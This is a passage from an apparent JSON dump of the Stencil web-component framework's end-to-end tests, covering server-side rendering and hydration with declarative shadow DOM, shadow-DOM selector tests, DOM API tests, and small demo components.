    "content": "import { Readable } from 'node:stream';\n\nimport { newE2EPage } from '@stencil/core/testing';\n\nimport { CarData } from '../car-list/car-data';\n\nconst vento = new CarData('VW', 'Vento', 2024);\nconst beetle = new CarData('VW', 'Beetle', 2023);\n\nasync function readableToString(readable: Readable) {\n  return new Promise((resolve, reject) => {\n    let data = '';\n\n    readable.on('data', (chunk) => {\n      data += chunk;\n    });\n\n    readable.on('end', () => {\n      resolve(data);\n    });\n\n    readable.on('error', (err) => {\n      reject(err);\n    });\n  });\n}\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\nlet streamToString: HydrateModule['streamToString'];\nlet hydrateDocument: HydrateModule['hydrateDocument'];\nlet createWindowFromHtml: HydrateModule['createWindowFromHtml'];\n\ndescribe('renderToString', () => {\n  beforeAll(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('../../hydrate');\n    renderToString = mod.renderToString;\n    streamToString = mod.streamToString;\n    hydrateDocument = mod.hydrateDocument;\n    createWindowFromHtml = mod.createWindowFromHtml;\n  });\n\n  it('resolves to a Promise<HydrateResults> by default', async () => {\n    const renderedString = renderToString('<div>Hello World</div>');\n    expect(typeof renderedString.then).toBe('function');\n    // this is a type assertion to verify that the promise resolves to a HydrateResults object\n    renderedString.then((result) => result.html);\n\n    const renderedDocument = hydrateDocument('<div>Hello World</div>');\n    expect(typeof renderedDocument.then).toBe('function');\n    // this is a type assertion to verify that the promise resolves to a HydrateResults object\n    renderedDocument.then((result) => result.html);\n  });\n\n  it('can render a simple dom node', async () => {\n    const { html } = await renderToString('<div>Hello World</div>');\n    expect(html).toContain('<body><div>Hello World</div></body>');\n  });\n\n  it('can render a simple dom node (sync)', async () => {\n    const input = '<div>Hello World</div>';\n    const renderedHTML = '<body><div>Hello World</div></body>';\n    const stream = renderToString(input, {}, true);\n    expect(await readableToString(stream)).toContain(renderedHTML);\n    expect(await readableToString(streamToString(input))).toContain(renderedHTML);\n  });\n\n  it('can render a simple shadow component', async () => {\n    const { html } = await renderToString('<another-car-detail></another-car-detail>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n      prettyHtml: true,\n    });\n    expect(html).toMatchSnapshot();\n  });\n\n  it('supports passing props to components', async () => {\n    const { html } = await renderToString(\n      '<another-car-detail car=\\'{\"year\":2024, \"make\": \"VW\", \"model\": \"Vento\"}\\'></another-car-detail>',\n      {\n        serializeShadowRoot: true,\n        fullDocument: false,\n        prettyHtml: true,\n      },\n    );\n\n    expect(html).toMatchSnapshot();\n    expect(html).toContain('2024 VW Vento');\n  });\n\n  it('supports passing props to components with a simple object', async () => {\n    const { html } = await renderToString(`<another-car-detail car=${JSON.stringify(vento)}></another-car-detail>`, {\n      serializeShadowRoot: true,\n      fullDocument: false,\n      prettyHtml: true,\n    });\n    expect(html).toMatchSnapshot();\n    expect(html).toContain('2024 VW Vento');\n  });\n\n  it('does not fail if provided object is not a valid JSON', async () => {\n    const { html } = await renderToString(\n      `<another-car-detail car='{\"year\":2024, \"make\": \"VW\", \"model\": \"Vento\"'></another-car-detail>`,\n      {\n        serializeShadowRoot: true,\n        fullDocument: false,\n      },\n    );\n    expect(html).toContain('<section class=\"sc-another-car-detail\" c-id=\"4.0.0.0\"><!--t.4.1.1.0--> </section>');\n  });\n\n  it('supports styles for DSD', async () => {\n    const { html } = await renderToString('<another-car-detail></another-car-detail>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n    expect(html).toContain(\n      '<template shadowrootmode=\"open\"><style sty-id=\"sc-another-car-detail\">section{color:green}</style>',\n    );\n  });\n\n  it('only returns the element if we render to DSD', async () => {\n    const { html } = await renderToString('<div>Hello World</div>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n    expect(html).toBe('<div>Hello World</div>');\n  });\n\n  it('can render nested components', async () => {\n    const { html } = await renderToString(\n      `<another-car-list cars='${JSON.stringify([vento, beetle])}'></another-car-list>`,\n      {\n        serializeShadowRoot: true,\n        fullDocument: false,\n        prettyHtml: true,\n      },\n    );\n    expect(html).toMatchSnapshot();\n    expect(html).toContain('2024 VW Vento');\n    expect(html).toContain('2023 VW Beetle');\n  });\n\n  it('can render a scoped component within a shadow component', async () => {\n    const { html } = await renderToString(`<car-list cars='${JSON.stringify([vento, beetle])}'></car-list>`, {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n    expect(html).toMatchSnapshot();\n    expect(html).toContain(\n      `<car-detail class=\\\"sc-car-list\\\" custom-hydrate-flag=\\\"\\\" c-id=\\\"9.2.2.0\\\" s-id=\\\"10\\\"><!--r.10--><section c-id=\\\"10.0.0.0\\\"><!--t.10.1.1.0-->2024 VW Vento</section></car-detail>`,\n    );\n    expect(html).toContain(\n      `<car-detail class=\\\"sc-car-list\\\" custom-hydrate-flag=\\\"\\\" c-id=\\\"9.4.2.0\\\" s-id=\\\"11\\\"><!--r.11--><section c-id=\\\"11.0.0.0\\\"><!--t.11.1.1.0-->2023 VW Beetle</section></car-detail>`,\n    );\n  });\n\n  it('can render a scoped component within a shadow component (sync)', async () => {\n    const input = `<car-list cars=${JSON.stringify([vento, beetle])}></car-list>`;\n    const opts = {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    };\n\n    const resultRenderToString = await readableToString(renderToString(input, opts, true));\n    expect(resultRenderToString).toContain(\n      '<car-detail class=\"sc-car-list\" custom-hydrate-flag=\"\" c-id=\"12.2.2.0\" s-id=\"13\"><!--r.13--><section c-id=\"13.0.0.0\"><!--t.13.1.1.0-->2024 VW Vento</section></car-detail>',\n    );\n    expect(resultRenderToString).toContain(\n      '<car-detail class=\"sc-car-list\" custom-hydrate-flag=\"\" c-id=\"12.4.2.0\" s-id=\"14\"><!--r.14--><section c-id=\"14.0.0.0\"><!--t.14.1.1.0-->2023 VW Beetle</section></car-detail>',\n    );\n\n    const resultStreamToString = await readableToString(streamToString(input, opts));\n    expect(resultStreamToString).toContain(\n      '<car-detail class=\"sc-car-list\" custom-hydrate-flag=\"\" c-id=\"15.2.2.0\" s-id=\"16\"><!--r.16--><section c-id=\"16.0.0.0\"><!--t.16.1.1.0-->2024 VW Vento</section></car-detail>',\n    );\n    expect(resultStreamToString).toContain(\n      '<car-detail class=\"sc-car-list\" custom-hydrate-flag=\"\" c-id=\"15.4.2.0\" s-id=\"17\"><!--r.17--><section c-id=\"17.0.0.0\"><!--t.17.1.1.0-->2023 VW Beetle</section></car-detail>',\n    );\n  });\n\n  it('can take over a server side rendered component and re-render it in the browser', async () => {\n    const { html } = await renderToString('<cmp-dsd></cmp-dsd>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n\n    expect(html).toContain('Count me: 0!');\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const button = await page.find('cmp-dsd >>> button');\n    await button.click();\n    expect(button).toEqualText('Count me: 1!');\n  });\n\n  it('can take over a server side rendered component and re-render it in the browser with applied prop', async () => {\n    const { html } = await renderToString('<cmp-dsd initial-counter=\"42\"></cmp-dsd>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n\n    expect(html).toContain('Count me: 42!');\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const button = await page.find('cmp-dsd >>> button');\n    await button.click();\n    expect(button).toEqualText('Count me: 43!');\n  });\n\n  it('can render server side component when client sender renders differently', async () => {\n    const { html } = await renderToString('<cmp-server-vs-client></cmp-server-vs-client>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n\n    expect(html).toContain('Server vs Client? Winner: Server');\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const button = await page.find('cmp-server-vs-client');\n    expect(button.shadowRoot.querySelector('div')).toEqualText('Server vs Client? Winner: Client');\n  });\n\n  it('can hydrate components with event listeners', async () => {\n    const { html } = await renderToString(\n      `\n      <dsd-listen-cmp>Hello World</dsd-listen-cmp>\n      <car-list cars=${JSON.stringify([vento, beetle])}></car-list>\n    `,\n      {\n        serializeShadowRoot: true,\n        fullDocument: true,\n      },\n    );\n\n    /**\n     * renders the component with listener with proper vdom annotation, e.g.\n     * ```html\n     * <dsd-listen-cmp custom-hydrate-flag=\"\" s-id=\"1\">\n     *   <template shadowrootmode=\"open\">\n     *     <style sty-id=\"sc-dsd-listen-cmp\">\n     *       .sc-dsd-listen-cmp-h{display:block}\n     *     </style>\n     *     <slot c-id=\"1.0.0.0\"></slot>\n     *   </template>\n     *   <!--r.1-->\n     *   Hello World\n     * </dsd-listen-cmp>\n     * ```\n     */\n    expect(html).toContain(\n      `<dsd-listen-cmp class=\\\"sc-dsd-listen-cmp-h\\\" custom-hydrate-flag=\\\"\\\" s-id=\\\"21\\\"><template shadowrootmode=\\\"open\\\"><style sty-id=\"sc-dsd-listen-cmp\">:host{display:block}</style><slot class=\\\"sc-dsd-listen-cmp\\\" c-id=\\\"21.0.0.0\\\"></slot></template><!--r.21-->Hello World</dsd-listen-cmp>`,\n    );\n\n    /**\n     * renders second component with proper vdom annotation, e.g.:\n     * ```html\n     * <car-detail c-id=\"2.4.2.0\" class=\"sc-car-list\" custom-hydrate-flag=\"\" s-id=\"4\">\n     *   <!--r.4-->\n     *   <section c-id=\"4.0.0.0\" class=\"sc-car-list\">\n     *     <!--t.4.1.1.0-->\n     *     2023 VW Beetle\n     *   </section>\n     * </car-detail>\n     */\n    expect(html).toContain(\n      `<car-detail class=\\\"sc-car-list\\\" custom-hydrate-flag=\\\"\\\" c-id=\\\"22.4.2.0\\\" s-id=\\\"24\\\"><!--r.24--><section c-id=\\\"24.0.0.0\\\"><!--t.24.1.1.0-->2023 VW Beetle</section></car-detail>`,\n    );\n\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const cars = await page.findAll('>>>car-detail');\n    expect(cars.map((car) => car.textContent)).toEqual(['2024 VW Vento', '2023 VW Beetle']);\n  });\n\n  it('calls beforeHydrate and afterHydrate function hooks', async () => {\n    const beforeHydrate = jest.fn((doc) => (doc.querySelector('div').textContent = 'Hello Universe'));\n    const afterHydrate = jest.fn();\n\n    const { html } = await renderToString('<div>Hello World</div>', {\n      beforeHydrate,\n      afterHydrate,\n    });\n\n    expect(beforeHydrate).toHaveBeenCalledTimes(1);\n    expect(afterHydrate).toHaveBeenCalledTimes(1);\n    expect(html).toContain('<body><div>Hello Universe</div></body>');\n  });\n\n  it('does not render a shadow component if serializeShadowRoot is false', async () => {\n    const { html } = await renderToString('<another-car-detail></another-car-detail>', {\n      serializeShadowRoot: false,\n      fullDocument: false,\n    });\n    expect(html).toBe(\n      '<another-car-detail class=\"sc-another-car-detail-h\" custom-hydrate-flag=\"\" s-id=\"25\"><!--r.25--></another-car-detail>',\n    );\n  });\n\n  it('does not render a shadow component but its light dom', async () => {\n    const { html } = await renderToString('<cmp-with-slot>Hello World</cmp-with-slot>', {\n      serializeShadowRoot: false,\n      fullDocument: false,\n    });\n    expect(html).toBe(\n      '<cmp-with-slot class=\"sc-cmp-with-slot-h\" custom-hydrate-flag=\"\" s-id=\"26\"><!--r.26-->Hello World</cmp-with-slot>',\n    );\n  });\n\n  describe('modes in declarative shadow dom', () => {\n    it('renders components in ios mode', async () => {\n      const { html } = await renderToString('<prop-cmp first=\"Max\" last=\"Mustermann\"></prop-cmp>', {\n        fullDocument: false,\n        prettyHtml: true,\n        modes: [() => 'ios'],\n      });\n      expect(html).toContain('<style sty-id=\"sc-prop-cmp-ios\">');\n      expect(html).toContain(';color:white;');\n      const page = await newE2EPage({ html, url: 'https://stencil.com' });\n      const div = await page.find('>>>div');\n      const { color } = await div.getComputedStyle();\n      expect(color).toBe('rgb(255, 255, 255)');\n    });\n\n    it('renders components in md mode', async () => {\n      const { html } = await renderToString('<prop-cmp first=\"Max\" last=\"Mustermann\"></prop-cmp>', {\n        fullDocument: false,\n        prettyHtml: true,\n        modes: [() => 'md'],\n      });\n      expect(html).toContain(';color:black;');\n      const page = await newE2EPage({ html, url: 'https://stencil.com' });\n      const div = await page.find('>>>div');\n      const { color } = await div.getComputedStyle();\n      expect(color).toBe('rgb(0, 0, 0)');\n    });\n  });\n\n  it('does not render the shadow root twice', async () => {\n    const { html } = await renderToString(\n      `\n      <nested-cmp-parent>\n        <nested-cmp-child custom-hydrate-flag=\"\" s-id=\"3\">\n          <template shadowrootmode=\"open\">\n            <div c-id=\"3.0.0.0\" class=\"some-other-class\">\n              <slot c-id=\"3.1.1.0\"></slot>\n            </div>\n          </template>\n          <!--r.3-->\n          Hello World\n        </nested-cmp-child>\n      </nested-cmp-parent>\n    `,\n      {\n        fullDocument: false,\n        prettyHtml: true,\n      },\n    );\n    expect(html).toBe(`<nested-cmp-parent class=\"sc-nested-cmp-parent-h\" custom-hydrate-flag=\"\" s-id=\"29\">\n  <template shadowrootmode=\"open\">\n    <style sty-id=\"sc-nested-cmp-parent\">\n      .sc-nested-scope-cmp-h{color:green}:host{display:inline-block}\n    </style>\n    <div c-id=\"29.0.0.0\" class=\"sc-nested-cmp-parent some-class\">\n      <nested-scope-cmp c-id=\"29.1.1.0\" class=\"sc-nested-cmp-parent sc-nested-scope-cmp-h\" custom-hydrate-flag=\"\" s-id=\"31\">\n        <!--r.31-->\n        <!--o.29.2.c-->\n        <div c-id=\"31.0.0.0\" class=\"sc-nested-scope-cmp sc-nested-scope-cmp-s some-scope-class\">\n          <!--s.31.1.1.0.-->\n          <slot c-id=\"29.2.2.0\" class=\"sc-nested-cmp-parent\" s-sn=\"\"></slot>\n        </div>\n      </nested-scope-cmp>\n    </div>\n  </template>\n  <!--r.29-->\n  <nested-cmp-child class=\"sc-nested-cmp-child-h\" custom-hydrate-flag=\"\" s-id=\"30\">\n    <template shadowrootmode=\"open\">\n      <style sty-id=\"sc-nested-cmp-child\">\n        :host{display:block}\n      </style>\n      <div c-id=\"30.0.0.0\" class=\"sc-nested-cmp-child some-other-class\">\n        <slot c-id=\"30.1.1.0\" class=\"sc-nested-cmp-child\"></slot>\n      </div>\n    </template>\n    <!--r.30-->\n    Hello World\n  </nested-cmp-child>\n</nested-cmp-parent>`);\n  });\n\n  it('renders server-side components with delegated focus', async () => {\n    const { html } = await renderToString('<cmp-dsd-focus></cmp-dsd-focus>', {\n      serializeShadowRoot: true,\n      fullDocument: false,\n    });\n\n    expect(html).toContain('<template shadowrootmode=\"open\" shadowrootdelegatesfocus>');\n    expect(html).toMatchSnapshot();\n\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n    const div = await page.find('cmp-dsd-focus >>> div');\n    await div.click();\n\n    expect(await page.evaluate(() => document.activeElement.outerHTML)).toContain('cmp-dsd-focus');\n  });\n\n  it(\"renders the styles of serializeShadowRoot `scoped` components when they're embedded in a shadow root\", async () => {\n    const { html } = await renderToString(\n      `\n      <div>\n        <wrap-ssr-shadow-cmp>Inside shadowroot</wrap-ssr-shadow-cmp>\n        <ssr-shadow-cmp>Outside shadowroot</ssr-shadow-cmp>\n      </div>`,\n      {\n        fullDocument: false,\n        serializeShadowRoot: {\n          default: 'declarative-shadow-dom',\n          scoped: ['ssr-shadow-cmp'],\n        },\n      },\n    );\n\n    const page = await newE2EPage({ html, url: 'https://stencil.com' });\n\n    const wrapCmp = await page.find('wrap-ssr-shadow-cmp');\n    const scopedCmp = await page.find('ssr-shadow-cmp');\n    const scopedNestCmp = await page.find('wrap-ssr-shadow-cmp >>> ssr-shadow-cmp');\n\n    const wrapCmpStyles = await wrapCmp.getComputedStyle();\n    const scopedCmpStyles = await scopedCmp.getComputedStyle();\n    const scopedNestCmpStyles = await scopedNestCmp.getComputedStyle();\n\n    expect(wrapCmpStyles.color).toBe('rgb(255, 255, 255)'); // white\n    expect(wrapCmpStyles.backgroundColor).toBe('rgb(0, 0, 255)'); // blue\n    expect(scopedCmpStyles.color).toBe('rgb(255, 0, 0)'); // red\n    expect(scopedCmpStyles.backgroundColor).toBe('rgb(255, 255, 0)'); // yellow\n    expect(scopedNestCmpStyles.color).toBe('rgb(255, 0, 0)'); // red\n    expect(scopedNestCmpStyles.backgroundColor).toBe('rgb(255, 255, 0)'); // yellow\n  });\n\n  describe('hydrateDocument', () => {\n    it('can hydrate components with open shadow dom by default', async () => {\n      const template = `<another-car-detail></another-car-detail>`;\n      const fullHTML = `<html><head></head><body>${template}</body></html>`;\n      const win = createWindowFromHtml(fullHTML, Math.random().toString());\n      const document = win.document;\n      await hydrateDocument(document);\n      const html = document.documentElement.outerHTML;\n\n      expect(html).toContain('shadowrootmode=\"open\"');\n    });\n\n    it('can hydrate components with scoped shadow dom', async () => {\n      const template = `<another-car-detail></another-car-detail>`;\n      const fullHTML = `<html><head></head><body>${template}</body></html>`;\n      const win = createWindowFromHtml(fullHTML, Math.random().toString());\n      const document = win.document;\n      await hydrateDocument(document, {\n        serializeShadowRoot: 'scoped',\n      });\n      const html = document.documentElement.outerHTML;\n\n      expect(html).not.toContain('shadowrootmode=\"open\"');\n      expect(html).toContain('sc-');\n    });\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/declarative-shadow-dom/wrap-ssr-shadow-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'wrap-ssr-shadow-cmp',\n  shadow: true,\n  styles: `\n    :host {\n      display: block;\n      padding: 10px;\n      border: 2px solid #000;\n      background: blue;\n      color: white;\n    }\n  `,\n})\nexport class SsrWrapShadowCmp {\n  @Prop() selected: boolean;\n\n  render() {\n    return (\n      <div\n        class={{\n          selected: this.selected,\n        }}\n      >\n        Nested component:\n        <ssr-shadow-cmp>\n          <slot />\n        </ssr-shadow-cmp>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/deep-selector/cmpA.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-a',\n  shadow: true,\n})\nexport class ComponentA {\n  render() {\n    return (\n      <div>\n        <section>\n          <span>I am in component A</span>\n        </section>\n        <cmp-b></cmp-b>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/deep-selector/cmpB.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-b',\n  shadow: true,\n})\nexport class ComponentB {\n  render() {\n    return (\n      <div>\n        <section>\n          <span>I am in component B</span>\n        </section>\n        <cmp-c></cmp-c>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/deep-selector/cmpC.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-c',\n  shadow: true,\n})\nexport class ComponentC {\n  render() {\n    return (\n      <div>\n        <span>I am in component C</span>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/deep-selector/deep-selector.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('Shadow DOM piercing', () => {\n  it('can pierce through shadow DOM via Puppeteer primitives', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      html: `\n        <cmp-a></cmp-a>\n      `,\n    });\n\n    const spanCmpA = await page.$('cmp-a >>> span');\n    expect(await spanCmpA.evaluate((el) => el.textContent)).toBe('I am in component A');\n    const spanCmpB = await page.$('cmp-a >>> cmp-b >>> span');\n    expect(await spanCmpB.evaluate((el) => el.textContent)).toBe('I am in component B');\n    const spanCmpC = await page.$('cmp-a >>> cmp-b >>> cmp-c >>> span');\n    expect(await spanCmpC.evaluate((el) => el.textContent)).toBe('I am in component C');\n\n    // we skip through the shadow dom\n    const spanCmp = await page.$('cmp-a >>> cmp-c >>> span');\n    expect(await spanCmp.evaluate((el) => el.textContent)).toBe('I am in component C');\n  });\n\n  it('can pierce through shadow DOM via Stencil E2E testing API', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      html: `\n        <cmp-a></cmp-a>\n      `,\n    });\n\n    const spanCmpA = await page.find('cmp-a >>> span');\n    expect(spanCmpA.textContent).toBe('I am in component A');\n    const spanCmpB = await page.find('cmp-a >>> cmp-b >>> span');\n    expect(spanCmpB.textContent).toBe('I am in component B');\n    const spanCmpC = await page.find('cmp-a >>> div > cmp-b >>> div cmp-c >>> span');\n    expect(spanCmpC.textContent).toBe('I am in component C');\n\n    // we skip through the shadow dom\n    const spanCmp = await page.find('cmp-a >>> cmp-c >>> span');\n    expect(spanCmp.textContent).toBe('I am in component C');\n  });\n\n  it('can pierce through shadow DOM via findAll', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      html: `\n        <cmp-a></cmp-a>\n      `,\n    });\n\n    const spans = await page.findAll('cmp-a >>> span');\n    expect(spans).toHaveLength(3);\n    expect(spans[0].textContent).toBe('I am in component A');\n    expect(spans[1].textContent).toBe('I am in component B');\n    expect(spans[2].textContent).toBe('I am in component C');\n\n    const spansCmpB = await page.findAll('cmp-a >>> cmp-b >>> span');\n    expect(spansCmpB).toHaveLength(2);\n    expect(spansCmpB[0].textContent).toBe('I am in component B');\n    expect(spansCmpB[1].textContent).toBe('I am in component C');\n\n    const spansCmpC = await page.findAll('cmp-a >>> cmp-b >>> cmp-c >>> span');\n    expect(spansCmpC).toHaveLength(1);\n    expect(spansCmpC[0].textContent).toBe('I am in component C');\n\n    // we skip through the shadow dom\n    const spansCmp = await page.findAll('cmp-a >>> cmp-c >>> span');\n    expect(spansCmp).toHaveLength(1);\n    expect(spansCmp[0].textContent).toBe('I am in component C');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/deep-selector/readme.md",
    "content": "# cmp-c\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Dependencies\n\n### Used by\n\n - [cmp-b](.)\n\n### Graph\n```mermaid\ngraph TD;\n  cmp-b --> cmp-c\n  style cmp-c fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/dom-api/assets-b/file-3.txt",
    "content": "file-3.txt"
  },
  {
    "path": "test/end-to-end/src/dom-api/dom-api.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('dom api e2e tests', () => {\n  it('should add css classes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api class=\"class-a\"></dom-api>\n    `,\n    });\n\n    const elm = await page.find('.class-a');\n\n    expect(elm).toHaveClass('class-a');\n    expect(elm).not.toHaveClass('class-b');\n    expect(elm.className).toBe('class-a');\n\n    elm.classList.add('class-b', 'class-c');\n\n    expect(() => {\n      // because we changed the element, we can't read\n      // element info until we wait for changes, which is\n      // why this call would throw an error\n      expect(elm).toHaveClasses(['class-a', 'class-b', 'class-c']);\n    }).toThrow();\n\n    // we added css classes, so we have to want for the changes to apply\n    await page.waitForChanges();\n\n    expect(elm).toHaveClass('class-a');\n    expect(elm).toHaveClass('class-b');\n    expect(elm).toHaveClass('class-c');\n    expect(elm).not.toHaveClass('class-d');\n\n    expect(elm).toHaveClasses(['class-a', 'class-b', 'class-c']);\n\n    expect(elm).not.toHaveClasses(['class-d', 'class-e']);\n\n    expect(elm.classList.contains('class-a')).toBe(true);\n    expect(elm.classList.contains('class-b')).toBe(true);\n    expect(elm.classList.contains('class-c')).toBe(true);\n    expect(elm.classList.contains('class-d')).toBe(false);\n\n    expect(elm.className).toBe('class-a class-b class-c');\n  });\n\n  it('should remove css classes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api class=\"class-a\"></dom-api>\n    `,\n    });\n\n    const elm = await page.find('.class-a');\n\n    await page.waitForChanges();\n\n    elm.classList.add('class-b', 'class-c');\n\n    elm.classList.remove('class-c');\n\n    // we added css classes, so we have to want for the changes to apply\n    await page.waitForChanges();\n\n    expect(elm).toHaveClass('class-a');\n    expect(elm).toHaveClass('class-b');\n    expect(elm).not.toHaveClass('class-c');\n\n    expect(elm).toHaveClasses(['class-a', 'class-b']);\n    expect(elm).not.toHaveClasses(['class-c']);\n  });\n\n  it('should toggles css classes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api class=\"class-a\"></dom-api>\n    `,\n    });\n\n    const elm = await page.find('.class-a');\n\n    await page.waitForChanges();\n\n    elm.classList.toggle('class-a');\n\n    elm.classList.toggle('class-b');\n\n    await page.waitForChanges();\n\n    expect(elm).toHaveClasses(['class-b']);\n    expect(elm).not.toHaveClasses(['class-a']);\n  });\n\n  it('should set id', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api id=\"my-cmp\"></dom-api>\n    `,\n    });\n\n    const elm = await page.find('#my-cmp');\n\n    expect(elm.id).toBe('my-cmp');\n\n    elm.id = 'my-changed-id';\n\n    await page.waitForChanges();\n\n    expect(elm.id).toBe('my-changed-id');\n  });\n\n  it('should get/set attributes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api id=\"my-cmp\" mph=\"88\"></dom-api>\n    `,\n    });\n\n    const elm = await page.find('#my-cmp');\n\n    expect(elm).toHaveAttribute('id');\n    expect(elm).toHaveAttribute('mph');\n    expect(elm).not.toHaveAttribute('whatever');\n\n    expect(elm).toEqualAttribute('id', 'my-cmp');\n    expect(elm).toEqualAttribute('mph', 88);\n\n    expect(elm).toEqualAttributes({\n      id: 'my-cmp',\n      mph: 88,\n    });\n\n    expect(elm.getAttribute('id')).toBe('my-cmp');\n    expect(elm.getAttribute('mph')).toBe('88');\n    expect(elm).not.toHaveAttribute('enabled');\n\n    elm.setAttribute('id', 'my-changed-id');\n    elm.setAttribute('town', 'hill valley');\n    elm.toggleAttribute('enabled');\n\n    await page.waitForChanges();\n\n    expect(elm).toHaveAttribute('id');\n    expect(elm).toEqualAttribute('id', 'my-changed-id');\n    expect(elm).toEqualAttributes({\n      id: 'my-changed-id',\n      mph: '88',\n    });\n    expect(elm).toHaveAttribute('town');\n    expect(elm).toHaveAttribute('enabled');\n\n    elm.removeAttribute('town');\n    elm.toggleAttribute('enabled');\n    await page.waitForChanges();\n    expect(elm).not.toHaveAttribute('town');\n    expect(elm).not.toHaveAttribute('enabled');\n  });\n\n  it('should test html', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api></dom-api>\n    `,\n    });\n\n    const elm = await page.find('dom-api');\n\n    expect(elm).toEqualHtml(`\n      <dom-api custom-hydrate-flag=\"\">\n        <span data-z=\"z\" class=\"red green blue\" data-a=\"a\">\n          dom api\n        </span>\n      </dom-api>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(`\n      <span class=\"red   green blue\"\n      data-z=\"z\" data-a=\"a\"\n      >dom \\n\\napi</span>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(`\n      <span data-a=\"a\" class=\"red blue green    \" data-z=\"z\">\n      dom       api\n      </span>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(`\n    <span data-z=\"z\" class=\"  green red   blue    \" data-a=\"a\" >\n                      dom  api\n          </span>\n    `);\n\n    elm.innerHTML = '<div>changed content</div>';\n\n    await page.waitForChanges();\n\n    expect(elm).toEqualHtml(`\n      <dom-api custom-hydrate-flag=\"\">\n        <div>changed content</div>\n      </dom-api>\n    `);\n\n    expect(elm.outerHTML).toEqualHtml(`\n      <dom-api custom-hydrate-flag=\"\">\n        <div>changed content</div>\n      </dom-api>\n    `);\n\n    expect(elm.innerHTML).toEqualHtml(`\n      <div>changed content</div>\n    `);\n\n    expect(() => {\n      elm.outerHTML = '<div>me error</div>';\n    }).toThrow();\n  });\n\n  it('should test textContent', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-api></dom-api>\n    `,\n    });\n\n    const elm = await page.find('dom-api');\n\n    expect(elm).toEqualText(`\n      dom api\n    `);\n\n    expect(elm.textContent).toEqualText(`\n      dom api\n    `);\n\n    expect(elm.textContent).toEqualText(`\n    dom     \\n\\n api\\n\\n\n    `);\n\n    elm.textContent = 'updated text content';\n\n    await page.waitForChanges();\n\n    expect(elm).toEqualText(`\n      updated text content\n    `);\n\n    expect(elm).toEqualHtml(`\n      <dom-api custom-hydrate-flag=\"\">\n        updated text content\n      </dom-api>\n    `);\n\n    elm.click;\n\n    expect(elm.nodeType).toBe(1);\n    expect(elm.nodeName).toBe(`DOM-API`);\n    expect(elm.tagName).toBe(`DOM-API`);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/dom-api/dom-api.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'dom-api',\n  assetsDirs: ['assets-b'],\n})\nexport class DomApiCmp {\n  render() {\n    return (\n      <span data-z=\"z\" class=\"red green blue\" data-a=\"a\">\n        dom api\n      </span>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/dom-api/readme.md",
    "content": "# dom-api\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/dom-interaction/dom-interaction.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('dom interaction e2e tests', () => {\n  it('should click button in shadow root', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-interaction></dom-interaction>\n    `,\n    });\n\n    const button = await page.find('dom-interaction >>> .click');\n\n    expect(button).toEqualText(`Click`);\n\n    await button.click();\n\n    expect(button).toEqualText(`Was Clicked`);\n  });\n\n  it('should focus button in shadow root', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-interaction></dom-interaction>\n    `,\n    });\n\n    const button = await page.find('dom-interaction >>> .focus');\n\n    expect(button).toEqualText(`Focus`);\n\n    await button.tap();\n\n    expect(button).toEqualText(`Has Focus`);\n  });\n\n  it('should tap button in shadow root', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-interaction></dom-interaction>\n    `,\n    });\n\n    const button = await page.find('dom-interaction >>> 